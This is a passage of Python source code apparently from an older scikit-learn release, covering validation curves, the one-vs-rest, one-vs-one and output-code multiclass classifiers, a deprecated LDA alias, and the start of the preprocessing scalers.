    train_scores, test_scores = [], []
    partitions = zip(train_sizes, np.split(train, train_sizes)[:-1])
    for n_train_samples, partial_train in partitions:
        train_subset = train[:n_train_samples]
        X_train, y_train = _safe_split(estimator, X, y, train_subset)
        X_partial_train, y_partial_train = _safe_split(estimator, X, y,
                                                       partial_train)
        X_test, y_test = _safe_split(estimator, X, y, test, train_subset)
        if y_partial_train is None:
            estimator.partial_fit(X_partial_train, classes=classes)
        else:
            estimator.partial_fit(X_partial_train, y_partial_train,
                                  classes=classes)
        train_scores.append(_score(estimator, X_train, y_train, scorer))
        test_scores.append(_score(estimator, X_test, y_test, scorer))
    return np.array((train_scores, test_scores)).T


def validation_curve(estimator, X, y, param_name, param_range, cv=None,
                     scoring=None, n_jobs=1, pre_dispatch="all", verbose=0):
    """Validation curve.

    Determine training and test scores for varying parameter values.

    Compute scores for an estimator with different values of a specified
    parameter. This is similar to grid search with one parameter. However, this
    will also compute training scores and is merely a utility for plotting the
    results.

    Read more in the :ref:`User Guide <validation_curve>`.

    Parameters
    ----------
    estimator : object type that implements the "fit" and "predict" methods
        An object of that type which is cloned for each validation.

    X : array-like, shape (n_samples, n_features)
        Training vector, where n_samples is the number of samples and
        n_features is the number of features.

    y : array-like, shape (n_samples) or (n_samples, n_features), optional
        Target relative to X for classification or regression;
        None for unsupervised learning.

    param_name : string
        Name of the parameter that will be varied.

    param_range : array-like, shape (n_values,)
        The values of the parameter that will be evaluated.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, if the estimator is a classifier and ``y`` is
        either binary or multiclass, 
        :class:`sklearn.model_selection.StratifiedKFold` is used. In all
        other cases, :class:`sklearn.model_selection.KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    scoring : string, callable or None, optional, default: None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    n_jobs : integer, optional
        Number of jobs to run in parallel (default 1).

    pre_dispatch : integer or string, optional
        Number of predispatched jobs for parallel execution (default is
        all). The option can reduce the allocated memory. The string can
        be an expression like '2*n_jobs'.

    verbose : integer, optional
        Controls the verbosity: the higher, the more messages.

    Returns
    -------
    train_scores : array, shape (n_ticks, n_cv_folds)
        Scores on training sets.

    test_scores : array, shape (n_ticks, n_cv_folds)
        Scores on test set.

    Notes
    -----
    See
    :ref:`examples/model_selection/plot_validation_curve.py
    <sphx_glr_auto_examples_model_selection_plot_validation_curve.py>`
    """
    X, y = indexable(X, y)
    cv = check_cv(cv, X, y, classifier=is_classifier(estimator))
    scorer = check_scoring(estimator, scoring=scoring)

    parallel = Parallel(n_jobs=n_jobs, pre_dispatch=pre_dispatch,
                        verbose=verbose)
    out = parallel(delayed(_fit_and_score)(
        estimator, X, y, scorer, train, test, verbose,
        parameters={param_name: v}, fit_params=None, return_train_score=True)
        for train, test in cv for v in param_range)

    out = np.asarray(out)[:, :2]
    n_params = len(param_range)
    n_cv_folds = out.shape[0] // n_params
    out = out.reshape(n_cv_folds, n_params, 2).transpose((2, 1, 0))

    return out[0], out[1]






"""
Multiclass and multilabel classification strategies
===================================================

This module implements multiclass learning algorithms:
    - one-vs-the-rest / one-vs-all
    - one-vs-one
    - error correcting output codes

The estimators provided in this module are meta-estimators: they require a base
estimator to be provided in their constructor. For example, it is possible to
use these estimators to turn a binary classifier or a regressor into a
multiclass classifier. It is also possible to use these estimators with
multiclass estimators in the hope that their accuracy or runtime performance
improves.

All classifiers in scikit-learn implement multiclass classification; you
only need to use this module if you want to experiment with custom multiclass
strategies.

The one-vs-the-rest meta-classifier also implements a `predict_proba` method,
so long as such a method is implemented by the base classifier. This method
returns probabilities of class membership in both the single label and
multilabel case.  Note that in the multilabel case, probabilities are the
marginal probability that a given sample falls in the given class. As such, in
the multilabel case the sum of these probabilities over all possible labels
for a given sample *will not* sum to unity, as they do in the single label
case.
"""

# Author: Mathieu Blondel <mathieu@mblondel.org>
# Author: Hamzeh Alsalhi <93hamsal@gmail.com>
#
# License: BSD 3 clause

import array
import numpy as np
import warnings
import scipy.sparse as sp

from .base import BaseEstimator, ClassifierMixin, clone, is_classifier
from .base import MetaEstimatorMixin, is_regressor
from .preprocessing import LabelBinarizer
from .metrics.pairwise import euclidean_distances
from .utils import check_random_state
from .utils.validation import _num_samples
from .utils.validation import check_is_fitted
from .utils.validation import check_X_y
from .utils.multiclass import (_check_partial_fit_first_call,
                               check_classification_targets)
from .externals.joblib import Parallel
from .externals.joblib import delayed
from .externals.six.moves import zip as izip

__all__ = [
    "OneVsRestClassifier",
    "OneVsOneClassifier",
    "OutputCodeClassifier",
]


def _fit_binary(estimator, X, y, classes=None):
    """Fit a single binary estimator."""
    unique_y = np.unique(y)
    if len(unique_y) == 1:
        if classes is not None:
            if y[0] == -1:
                c = 0
            else:
                c = y[0]
            warnings.warn("Label %s is present in all training examples." %
                          str(classes[c]))
        estimator = _ConstantPredictor().fit(X, unique_y)
    else:
        estimator = clone(estimator)
        estimator.fit(X, y)
    return estimator


def _partial_fit_binary(estimator, X, y):
    """Partially fit a single binary estimator."""
    estimator.partial_fit(X, y, np.array((0, 1)))
    return estimator


def _predict_binary(estimator, X):
    """Make predictions using a single binary estimator."""
    if is_regressor(estimator):
        return estimator.predict(X)
    try:
        score = np.ravel(estimator.decision_function(X))
    except (AttributeError, NotImplementedError):
        # probabilities of the positive class
        score = estimator.predict_proba(X)[:, 1]
    return score


def _check_estimator(estimator):
    """Make sure that an estimator implements the necessary methods."""
    if (not hasattr(estimator, "decision_function") and
            not hasattr(estimator, "predict_proba")):
        raise ValueError("The base estimator should implement "
                         "decision_function or predict_proba!")


class _ConstantPredictor(BaseEstimator):

    def fit(self, X, y):
        self.y_ = y
        return self

    def predict(self, X):
        check_is_fitted(self, 'y_')

        return np.repeat(self.y_, X.shape[0])

    def decision_function(self, X):
        check_is_fitted(self, 'y_')

        return np.repeat(self.y_, X.shape[0])

    def predict_proba(self, X):
        check_is_fitted(self, 'y_')

        return np.repeat([np.hstack([1 - self.y_, self.y_])],
                         X.shape[0], axis=0)


class OneVsRestClassifier(BaseEstimator, ClassifierMixin, MetaEstimatorMixin):
    """One-vs-the-rest (OvR) multiclass/multilabel strategy

    Also known as one-vs-all, this strategy consists in fitting one classifier
    per class. For each classifier, the class is fitted against all the other
    classes. In addition to its computational efficiency (only `n_classes`
    classifiers are needed), one advantage of this approach is its
    interpretability. Since each class is represented by one and one classifier
    only, it is possible to gain knowledge about the class by inspecting its
    corresponding classifier. This is the most commonly used strategy for
    multiclass classification and is a fair default choice.

    This strategy can also be used for multilabel learning, where a classifier
    is used to predict multiple labels for instance, by fitting on a 2-d matrix
    in which cell [i, j] is 1 if sample i has label j and 0 otherwise.

    In the multilabel learning literature, OvR is also known as the binary
    relevance method.

    Read more in the :ref:`User Guide <ovr_classification>`.

    Parameters
    ----------
    estimator : estimator object
        An estimator object implementing `fit` and one of `decision_function`
        or `predict_proba`.

    n_jobs : int, optional, default: 1
        The number of jobs to use for the computation. If -1 all CPUs are used.
        If 1 is given, no parallel computing code is used at all, which is
        useful for debugging. For n_jobs below -1, (n_cpus + 1 + n_jobs) are
        used. Thus for n_jobs = -2, all CPUs but one are used.

    Attributes
    ----------
    estimators_ : list of `n_classes` estimators
        Estimators used for predictions.

    classes_ : array, shape = [`n_classes`]
        Class labels.
    label_binarizer_ : LabelBinarizer object
        Object used to transform multiclass labels to binary labels and
        vice-versa.
    multilabel_ : boolean
        Whether a OneVsRestClassifier is a multilabel classifier.
    """

    def __init__(self, estimator, n_jobs=1):
        self.estimator = estimator
        self.n_jobs = n_jobs

    def fit(self, X, y):
        """Fit underlying estimators.

        Parameters
        ----------
        X : (sparse) array-like, shape = [n_samples, n_features]
            Data.

        y : (sparse) array-like, shape = [n_samples, ], [n_samples, n_classes]
            Multi-class targets. An indicator matrix turns on multilabel
            classification.

        Returns
        -------
        self
        """
        # A sparse LabelBinarizer, with sparse_output=True, has been shown to
        # outpreform or match a dense label binarizer in all cases and has also
        # resulted in less or equal memory consumption in the fit_ovr function
        # overall.
        self.label_binarizer_ = LabelBinarizer(sparse_output=True)
        Y = self.label_binarizer_.fit_transform(y)
        Y = Y.tocsc()
        self.classes_ = self.label_binarizer_.classes_
        columns = (col.toarray().ravel() for col in Y.T)
        # In cases where individual estimators are very fast to train setting
        # n_jobs > 1 in can results in slower performance due to the overhead
        # of spawning threads.  See joblib issue #112.
        self.estimators_ = Parallel(n_jobs=self.n_jobs)(delayed(_fit_binary)(
            self.estimator, X, column, classes=[
                "not %s" % self.label_binarizer_.classes_[i],
                self.label_binarizer_.classes_[i]])
            for i, column in enumerate(columns))

        return self

    def partial_fit(self, X, y, classes=None):
        """Partially fit underlying estimators

        Should be used when memory is inefficient to train all data.
        Chunks of data can be passed in several iteration.

        Parameters
        ----------
        X : (sparse) array-like, shape = [n_samples, n_features]
            Data.

        y : (sparse) array-like, shape = [n_samples, ], [n_samples, n_classes]
            Multi-class targets. An indicator matrix turns on multilabel
            classification.

        classes : array, shape (n_classes, )
            Classes across all calls to partial_fit.
            Can be obtained via `np.unique(y_all)`, where y_all is the
            target vector of the entire dataset.
            This argument is only required in the first call of partial_fit
            and can be omitted in the subsequent calls.

        Returns
        -------
        self
        """
        if _check_partial_fit_first_call(self, classes):
            if (not hasattr(self.estimator, "partial_fit")):
                raise ValueError("Base estimator {0}, doesn't have partial_fit"
                                 "method".format(self.estimator))
            self.estimators_ = [clone(self.estimator) for _ in range
                                (self.n_classes_)]

        # A sparse LabelBinarizer, with sparse_output=True, has been shown to
        # outperform or match a dense label binarizer in all cases and has also
        # resulted in less or equal memory consumption in the fit_ovr function
        # overall.
        self.label_binarizer_ = LabelBinarizer(sparse_output=True)
        Y = self.label_binarizer_.fit_transform(y)
        Y = Y.tocsc()
        columns = (col.toarray().ravel() for col in Y.T)

        self.estimators_ = Parallel(n_jobs=self.n_jobs)(delayed(
            _partial_fit_binary)(self.estimators_[i],
            X, next(columns) if self.classes_[i] in
            self.label_binarizer_.classes_ else
            np.zeros((1, len(y))))
            for i in range(self.n_classes_))

        return self

    def predict(self, X):
        """Predict multi-class targets using underlying estimators.

        Parameters
        ----------
        X : (sparse) array-like, shape = [n_samples, n_features]
            Data.

        Returns
        -------
        y : (sparse) array-like, shape = [n_samples, ], [n_samples, n_classes].
            Predicted multi-class targets.
        """
        check_is_fitted(self, 'estimators_')
        if (hasattr(self.estimators_[0], "decision_function") and
                is_classifier(self.estimators_[0])):
            thresh = 0
        else:
            thresh = .5

        n_samples = _num_samples(X)
        if self.label_binarizer_.y_type_ == "multiclass":
            maxima = np.empty(n_samples, dtype=float)
            maxima.fill(-np.inf)
            argmaxima = np.zeros(n_samples, dtype=int)
            for i, e in enumerate(self.estimators_):
                pred = _predict_binary(e, X)
                np.maximum(maxima, pred, out=maxima)
                argmaxima[maxima == pred] = i
            return self.classes_[np.array(argmaxima.T)]
        else:
            indices = array.array('i')
            indptr = array.array('i', [0])
            for e in self.estimators_:
                indices.extend(np.where(_predict_binary(e, X) > thresh)[0])
                indptr.append(len(indices))
            data = np.ones(len(indices), dtype=int)
            indicator = sp.csc_matrix((data, indices, indptr),
                                      shape=(n_samples, len(self.estimators_)))
            return self.label_binarizer_.inverse_transform(indicator)

    def predict_proba(self, X):
        """Probability estimates.

        The returned estimates for all classes are ordered by label of classes.

        Note that in the multilabel case, each sample can have any number of
        labels. This returns the marginal probability that the given sample has
        the label in question. For example, it is entirely consistent that two
        labels both have a 90% probability of applying to a given sample.

        In the single label multiclass case, the rows of the returned matrix
        sum to 1.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]

        Returns
        -------
        T : (sparse) array-like, shape = [n_samples, n_classes]
            Returns the probability of the sample for each class in the model,
            where classes are ordered as they are in `self.classes_`.
        """
        check_is_fitted(self, 'estimators_')
        # Y[i, j] gives the probability that sample i has the label j.
        # In the multi-label case, these are not disjoint.
        Y = np.array([e.predict_proba(X)[:, 1] for e in self.estimators_]).T

        if len(self.estimators_) == 1:
            # Only one estimator, but we still want to return probabilities
            # for two classes.
            Y = np.concatenate(((1 - Y), Y), axis=1)

        if not self.multilabel_:
            # Then, probabilities should be normalized to 1.
            Y /= np.sum(Y, axis=1)[:, np.newaxis]
        return Y

    def decision_function(self, X):
        """Returns the distance of each sample from the decision boundary for
        each class. This can only be used with estimators which implement the
        decision_function method.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]

        Returns
        -------
        T : array-like, shape = [n_samples, n_classes]
        """
        check_is_fitted(self, 'estimators_')
        if not hasattr(self.estimators_[0], "decision_function"):
            raise AttributeError(
                "Base estimator doesn't have a decision_function attribute.")
        return np.array([est.decision_function(X).ravel()
                         for est in self.estimators_]).T

    @property
    def multilabel_(self):
        """Whether this is a multilabel classifier"""
        return self.label_binarizer_.y_type_.startswith('multilabel')

    @property
    def n_classes_(self):
        return len(self.classes_)

    @property
    def coef_(self):
        check_is_fitted(self, 'estimators_')
        if not hasattr(self.estimators_[0], "coef_"):
            raise AttributeError(
                "Base estimator doesn't have a coef_ attribute.")
        coefs = [e.coef_ for e in self.estimators_]
        if sp.issparse(coefs[0]):
            return sp.vstack(coefs)
        return np.vstack(coefs)

    @property
    def intercept_(self):
        check_is_fitted(self, 'estimators_')
        if not hasattr(self.estimators_[0], "intercept_"):
            raise AttributeError(
                "Base estimator doesn't have an intercept_ attribute.")
        return np.array([e.intercept_.ravel() for e in self.estimators_])


def _fit_ovo_binary(estimator, X, y, i, j):
    """Fit a single binary estimator (one-vs-one)."""
    cond = np.logical_or(y == i, y == j)
    y = y[cond]
    y_binary = np.empty(y.shape, np.int)
    y_binary[y == i] = 0
    y_binary[y == j] = 1
    ind = np.arange(X.shape[0])
    return _fit_binary(estimator, X[ind[cond]], y_binary, classes=[i, j])


def _partial_fit_ovo_binary(estimator, X, y, i, j):
    """Partially fit a single binary estimator(one-vs-one)."""

    cond = np.logical_or(y == i, y == j)
    y = y[cond]
    y_binary = np.zeros_like(y)
    y_binary[y == j] = 1
    return _partial_fit_binary(estimator, X[cond], y_binary)


class OneVsOneClassifier(BaseEstimator, ClassifierMixin, MetaEstimatorMixin):
    """One-vs-one multiclass strategy

    This strategy consists in fitting one classifier per class pair.
    At prediction time, the class which received the most votes is selected.
    Since it requires to fit `n_classes * (n_classes - 1) / 2` classifiers,
    this method is usually slower than one-vs-the-rest, due to its
    O(n_classes^2) complexity. However, this method may be advantageous for
    algorithms such as kernel algorithms which don't scale well with
    `n_samples`. This is because each individual learning problem only involves
    a small subset of the data whereas, with one-vs-the-rest, the complete
    dataset is used `n_classes` times.

    Read more in the :ref:`User Guide <ovo_classification>`.

    Parameters
    ----------
    estimator : estimator object
        An estimator object implementing `fit` and one of `decision_function`
        or `predict_proba`.

    n_jobs : int, optional, default: 1
        The number of jobs to use for the computation. If -1 all CPUs are used.
        If 1 is given, no parallel computing code is used at all, which is
        useful for debugging. For n_jobs below -1, (n_cpus + 1 + n_jobs) are
        used. Thus for n_jobs = -2, all CPUs but one are used.

    Attributes
    ----------
    estimators_ : list of `n_classes * (n_classes - 1) / 2` estimators
        Estimators used for predictions.

    classes_ : numpy array of shape [n_classes]
        Array containing labels.
    """

    def __init__(self, estimator, n_jobs=1):
        self.estimator = estimator
        self.n_jobs = n_jobs

    def fit(self, X, y):
        """Fit underlying estimators.

        Parameters
        ----------
        X : (sparse) array-like, shape = [n_samples, n_features]
            Data.

        y : array-like, shape = [n_samples]
            Multi-class targets.

        Returns
        -------
        self
        """
        X, y = check_X_y(X, y, accept_sparse=['csr', 'csc'])

        self.classes_ = np.unique(y)
        n_classes = self.classes_.shape[0]
        self.estimators_ = Parallel(n_jobs=self.n_jobs)(
            delayed(_fit_ovo_binary)(
                self.estimator, X, y, self.classes_[i], self.classes_[j])
            for i in range(n_classes) for j in range(i + 1, n_classes))

        return self

    def partial_fit(self, X, y, classes=None):
        """Partially fit underlying estimators

        Should be used when memory is inefficient to train all data. Chunks
        of data can be passed in several iteration, where the first call
        should have an array of all target variables.


        Parameters
        ----------
        X : (sparse) array-like, shape = [n_samples, n_features]
            Data.

        y : array-like, shape = [n_samples]
            Multi-class targets.

        classes : array, shape (n_classes, )
            Classes across all calls to partial_fit.
            Can be obtained via `np.unique(y_all)`, where y_all is the
            target vector of the entire dataset.
            This argument is only required in the first call of partial_fit
            and can be omitted in the subsequent calls.

        Returns
        -------
        self
        """
        if _check_partial_fit_first_call(self, classes):
            self.estimators_ = [clone(self.estimator) for i in
                                range(self.n_classes_ *
                                (self.n_classes_-1) // 2)]

        X, y = check_X_y(X, y, accept_sparse=['csr', 'csc'])
        check_classification_targets(y)
        self.estimators_ = Parallel(n_jobs=self.n_jobs)(
            delayed(_partial_fit_ovo_binary)(
                estimator, X, y, self.classes_[i], self.classes_[j])
            for estimator, (i, j) in izip(self.estimators_, ((i, j) for i
                                in range(self.n_classes_) for j in range
                                            (i + 1, self.n_classes_))))
        return self

    def predict(self, X):
        """Estimate the best class label for each sample in X.

        This is implemented as ``argmax(decision_function(X), axis=1)`` which
        will return the label of the class with most votes by estimators
        predicting the outcome of a decision for each possible class pair.

        Parameters
        ----------
        X : (sparse) array-like, shape = [n_samples, n_features]
            Data.

        Returns
        -------
        y : numpy array of shape [n_samples]
            Predicted multi-class targets.
        """
        Y = self.decision_function(X)
        return self.classes_[Y.argmax(axis=1)]

    def decision_function(self, X):
        """Decision function for the OneVsOneClassifier.

        The decision values for the samples are computed by adding the
        normalized sum of pair-wise classification confidence levels to the
        votes in order to disambiguate between the decision values when the
        votes for all the classes are equal leading to a tie.

        Parameters
        ----------
        X : array-like, shape = [n_samples, n_features]

        Returns
        -------
        Y : array-like, shape = [n_samples, n_classes]
        """
        check_is_fitted(self, 'estimators_')

        predictions = np.vstack([est.predict(X) for est in self.estimators_]).T
        confidences = np.vstack([_predict_binary(est, X) for est in self.estimators_]).T
        return _ovr_decision_function(predictions, confidences,
                                      len(self.classes_))

    @property
    def n_classes_(self):
        return len(self.classes_)


def _ovr_decision_function(predictions, confidences, n_classes):
    """Compute a continuous, tie-breaking ovr decision function.

    It is important to include a continuous value, not only votes,
    to make computing AUC or calibration meaningful.

    Parameters
    ----------
    predictions : array-like, shape (n_samples, n_classifiers)
        Predicted classes for each binary classifier.

    confidences : array-like, shape (n_samples, n_classifiers)
        Decision functions or predicted probabilities for positive class
        for each binary classifier.

    n_classes : int
        Number of classes. n_classifiers must be
        ``n_classes * (n_classes - 1 ) / 2``
    """
    n_samples = predictions.shape[0]
    votes = np.zeros((n_samples, n_classes))
    sum_of_confidences = np.zeros((n_samples, n_classes))

    k = 0
    for i in range(n_classes):
        for j in range(i + 1, n_classes):
            sum_of_confidences[:, i] -= confidences[:, k]
            sum_of_confidences[:, j] += confidences[:, k]
            votes[predictions[:, k] == 0, i] += 1
            votes[predictions[:, k] == 1, j] += 1
            k += 1

    max_confidences = sum_of_confidences.max()
    min_confidences = sum_of_confidences.min()

    if max_confidences == min_confidences:
        return votes

    # Scale the sum_of_confidences to (-0.5, 0.5) and add it with votes.
    # The motivation is to use confidence levels as a way to break ties in
    # the votes without switching any decision made based on a difference
    # of 1 vote.
    eps = np.finfo(sum_of_confidences.dtype).eps
    max_abs_confidence = max(abs(max_confidences), abs(min_confidences))
    scale = (0.5 - eps) / max_abs_confidence
    return votes + sum_of_confidences * scale


class OutputCodeClassifier(BaseEstimator, ClassifierMixin, MetaEstimatorMixin):
    """(Error-Correcting) Output-Code multiclass strategy

    Output-code based strategies consist in representing each class with a
    binary code (an array of 0s and 1s). At fitting time, one binary
    classifier per bit in the code book is fitted.  At prediction time, the
    classifiers are used to project new points in the class space and the class
    closest to the points is chosen. The main advantage of these strategies is
    that the number of classifiers used can be controlled by the user, either
    for compressing the model (0 < code_size < 1) or for making the model more
    robust to errors (code_size > 1). See the documentation for more details.

    Read more in the :ref:`User Guide <ecoc>`.

    Parameters
    ----------
    estimator : estimator object
        An estimator object implementing `fit` and one of `decision_function`
        or `predict_proba`.

    code_size : float
        Percentage of the number of classes to be used to create the code book.
        A number between 0 and 1 will require fewer classifiers than
        one-vs-the-rest. A number greater than 1 will require more classifiers
        than one-vs-the-rest.

    random_state : numpy.RandomState, optional
        The generator used to initialize the codebook. Defaults to
        numpy.random.

    n_jobs : int, optional, default: 1
        The number of jobs to use for the computation. If -1 all CPUs are used.
        If 1 is given, no parallel computing code is used at all, which is
        useful for debugging. For n_jobs below -1, (n_cpus + 1 + n_jobs) are
        used. Thus for n_jobs = -2, all CPUs but one are used.

    Attributes
    ----------
    estimators_ : list of `int(n_classes * code_size)` estimators
        Estimators used for predictions.

    classes_ : numpy array of shape [n_classes]
        Array containing labels.

    code_book_ : numpy array of shape [n_classes, code_size]
        Binary array containing the code of each class.

    References
    ----------

    .. [1] "Solving multiclass learning problems via error-correcting output
       codes",
       Dietterich T., Bakiri G.,
       Journal of Artificial Intelligence Research 2,
       1995.

    .. [2] "The error coding method and PICTs",
       James G., Hastie T.,
       Journal of Computational and Graphical statistics 7,
       1998.

    .. [3] "The Elements of Statistical Learning",
       Hastie T., Tibshirani R., Friedman J., page 606 (second-edition)
       2008.
    """

    def __init__(self, estimator, code_size=1.5, random_state=None, n_jobs=1):
        self.estimator = estimator
        self.code_size = code_size
        self.random_state = random_state
        self.n_jobs = n_jobs

    def fit(self, X, y):
        """Fit underlying estimators.

        Parameters
        ----------
        X : (sparse) array-like, shape = [n_samples, n_features]
            Data.

        y : numpy array of shape [n_samples]
            Multi-class targets.

        Returns
        -------
        self
        """
        if self.code_size <= 0:
            raise ValueError("code_size should be greater than 0, got {1}"
                             "".format(self.code_size))

        _check_estimator(self.estimator)
        random_state = check_random_state(self.random_state)

        self.classes_ = np.unique(y)
        n_classes = self.classes_.shape[0]
        code_size_ = int(n_classes * self.code_size)

        # FIXME: there are more elaborate methods than generating the codebook
        # randomly.
        self.code_book_ = random_state.random_sample((n_classes, code_size_))
        self.code_book_[self.code_book_ > 0.5] = 1

        if hasattr(self.estimator, "decision_function"):
            self.code_book_[self.code_book_ != 1] = -1
        else:
            self.code_book_[self.code_book_ != 1] = 0

        classes_index = dict((c, i) for i, c in enumerate(self.classes_))

        Y = np.array([self.code_book_[classes_index[y[i]]]
                      for i in range(X.shape[0])], dtype=np.int)

        self.estimators_ = Parallel(n_jobs=self.n_jobs)(
            delayed(_fit_binary)(self.estimator, X, Y[:, i])
            for i in range(Y.shape[1]))

        return self

    def predict(self, X):
        """Predict multi-class targets using underlying estimators.

        Parameters
        ----------
        X : (sparse) array-like, shape = [n_samples, n_features]
            Data.

        Returns
        -------
        y : numpy array of shape [n_samples]
            Predicted multi-class targets.
        """
        check_is_fitted(self, 'estimators_')
        Y = np.array([_predict_binary(e, X) for e in self.estimators_]).T
        pred = euclidean_distances(Y, self.code_book_).argmin(axis=1)
        return self.classes_[pred]






import warnings
warnings.warn("lda.LDA has been moved to "
              "discriminant_analysis.LinearDiscriminantAnalysis "
              "in 0.17 and will be removed in 0.19", DeprecationWarning)

from .discriminant_analysis import LinearDiscriminantAnalysis as LDA






# Authors: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#          Mathieu Blondel <mathieu@mblondel.org>
#          Olivier Grisel <olivier.grisel@ensta.org>
#          Andreas Mueller <amueller@ais.uni-bonn.de>
#          Eric Martin <eric@ericmart.in>
#          Giorgio Patrini <giorgio.patrini@anu.edu.au>
# License: BSD 3 clause

from itertools import chain, combinations
import numbers
import warnings

import numpy as np
from scipy import sparse

from ..base import BaseEstimator, TransformerMixin
from ..externals import six
from ..utils import check_array
from ..utils import deprecated
from ..utils.extmath import row_norms
from ..utils.extmath import _incremental_mean_and_var
from ..utils.fixes import combinations_with_replacement as combinations_w_r
from ..utils.fixes import bincount
from ..utils.sparsefuncs_fast import (inplace_csr_row_normalize_l1,
                                      inplace_csr_row_normalize_l2)
from ..utils.sparsefuncs import (inplace_column_scale,
                                 mean_variance_axis, incr_mean_variance_axis,
                                 min_max_axis)
from ..utils.validation import check_is_fitted, FLOAT_DTYPES


zip = six.moves.zip
map = six.moves.map
range = six.moves.range

__all__ = [
    'Binarizer',
    'KernelCenterer',
    'MinMaxScaler',
    'MaxAbsScaler',
    'Normalizer',
    'OneHotEncoder',
    'RobustScaler',
    'StandardScaler',
    'add_dummy_feature',
    'binarize',
    'normalize',
    'scale',
    'robust_scale',
    'maxabs_scale',
    'minmax_scale',
]

DEPRECATION_MSG_1D = (
    "Passing 1d arrays as data is deprecated in 0.17 and will "
    "raise ValueError in 0.19. Reshape your data either using "
    "X.reshape(-1, 1) if your data has a single feature or "
    "X.reshape(1, -1) if it contains a single sample."
)


def _handle_zeros_in_scale(scale, copy=True):
    ''' Makes sure that whenever scale is zero, we handle it correctly.

    This happens in most scalers when we have constant features.'''

    # if we are fitting on 1D arrays, scale might be a scalar
    if np.isscalar(scale):
        if scale == .0:
            scale = 1.
        return scale
    elif isinstance(scale, np.ndarray):
        if copy:
            # New array to avoid side-effects
            scale = scale.copy()
        scale[scale == 0.0] = 1.0
        return scale


def scale(X, axis=0, with_mean=True, with_std=True, copy=True):
    """Standardize a dataset along any axis

    Center to the mean and component wise scale to unit variance.

    Read more in the :ref:`User Guide <preprocessing_scaler>`.

    Parameters
    ----------
    X : {array-like, sparse matrix}
        The data to center and scale.

    axis : int (0 by default)
        axis used to compute the means and standard deviations along. If 0,
        independently standardize each feature, otherwise (if 1) standardize
        each sample.

    with_mean : boolean, True by default
        If True, center the data before scaling.

    with_std : boolean, True by default
        If True, scale the data to unit variance (or equivalently,
        unit standard deviation).

    copy : boolean, optional, default True
        set to False to perform inplace row normalization and avoid a
        copy (if the input is already a numpy array or a scipy.sparse
        CSC matrix and if axis is 1).

    Notes
    -----
    This implementation will refuse to center scipy.sparse matrices
    since it would make them non-sparse and would potentially crash the
    program with memory exhaustion problems.

    Instead the caller is expected to either set explicitly
    `with_mean=False` (in that case, only variance scaling will be
    performed on the features of the CSC matrix) or to call `X.toarray()`
    if he/she expects the materialized dense array to fit in memory.

    To avoid memory copy the caller should pass a CSC matrix.

    See also
    --------
    StandardScaler: Performs scaling to unit variance using the``Transformer`` API
        (e.g. as part of a preprocessing :class:`sklearn.pipeline.Pipeline`).
    """  # noqa
    X = check_array(X, accept_sparse='csc', copy=copy, ensure_2d=False,
                    warn_on_dtype=True, estimator='the scale function',
                    dtype=FLOAT_DTYPES)
    if sparse.issparse(X):
        if with_mean:
            raise ValueError(
                "Cannot center sparse matrices: pass `with_mean=False` instead"
                " See docstring for motivation and alternatives.")
        if axis != 0:
            raise ValueError("Can only scale sparse matrix on axis=0, "
                             " got axis=%d" % axis)
        if with_std:
            _, var = mean_variance_axis(X, axis=0)
            var = _handle_zeros_in_scale(var, copy=False)
            inplace_column_scale(X, 1 / np.sqrt(var))
    else:
        X = np.asarray(X)
        if with_mean:
            mean_ = np.mean(X, axis)
        if with_std:
            scale_ = np.std(X, axis)
        # Xr is a view on the original array that enables easy use of
        # broadcasting on the axis in which we are interested in
        Xr = np.rollaxis(X, axis)
        if with_mean:
            Xr -= mean_
            mean_1 = Xr.mean(axis=0)
            # Verify that mean_1 is 'close to zero'. If X contains very
            # large values, mean_1 can also be very large, due to a lack of
            # precision of mean_. In this case, a pre-scaling of the
            # concerned feature is efficient, for instance by its mean or
            # maximum.
            if not np.allclose(mean_1, 0):
                warnings.warn("Numerical issues were encountered "
                              "when centering the data "
                              "and might not be solved. Dataset may "
                              "contain too large values. You may need "
                              "to prescale your features.")
                Xr -= mean_1
        if with_std:
            scale_ = _handle_zeros_in_scale(scale_, copy=False)
            Xr /= scale_
            if with_mean:
                mean_2 = Xr.mean(axis=0)
                # If mean_2 is not 'close to zero', it comes from the fact that
                # scale_ is very small so that mean_2 = mean_1/scale_ > 0, even
                # if mean_1 was close to zero. The problem is thus essentially
                # due to the lack of precision of mean_. A solution is then to
                # subtract the mean again:
                if not np.allclose(mean_2, 0):
                    warnings.warn("Numerical issues were encountered "
                                  "when scaling the data "
                                  "and might not be solved. The standard "
                                  "deviation of the data is probably "
                                  "very close to 0. ")
                    Xr -= mean_2
    return X


class MinMaxScaler(BaseEstimator, TransformerMixin):
    """Transforms features by scaling each feature to a given range.

    This estimator scales and translates each feature individually such
    that it is in the given range on the training set, i.e. between
    zero and one.

    The transformation is given by::

        X_std = (X - X.min(axis=0)) / (X.max(axis=0) - X.min(axis=0))
        X_scaled = X_std * (max - min) + min

    where min, max = feature_range.

    This transformation is often used as an alternative to zero mean,
    unit variance scaling.

    Read more in the :ref:`User Guide <preprocessing_scaler>`.

    Parameters
    ----------
    feature_range: tuple (min, max), default=(0, 1)
        Desired range of transformed data.

    copy : boolean, optional, default True
        Set to False to perform inplace row normalization and avoid a
        copy (if the input is already a numpy array).

    Attributes
    ----------
    min_ : ndarray, shape (n_features,)
        Per feature adjustment for minimum.

    scale_ : ndarray, shape (n_features,)
        Per feature relative scaling of the data.

        .. versionadded:: 0.17
           *scale_* attribute.

    data_min_ : ndarray, shape (n_features,)
        Per feature minimum seen in the data

        .. versionadded:: 0.17
           *data_min_* instead of deprecated *data_min*.

    data_max_ : ndarray, shape (n_features,)
        Per feature maximum seen in the data

        .. versionadded:: 0.17
           *data_max_* instead of deprecated *data_max*.

    data_range_ : ndarray, shape (n_features,)
        Per feature range ``(data_max_ - data_min_)`` seen in the data

        .. versionadded:: 0.17
           *data_range_* instead of deprecated *data_range*.

    See also
    --------
    minmax_scale: Equivalent function without the object oriented API.
    """

    def __init__(self, feature_range=(0, 1), copy=True):
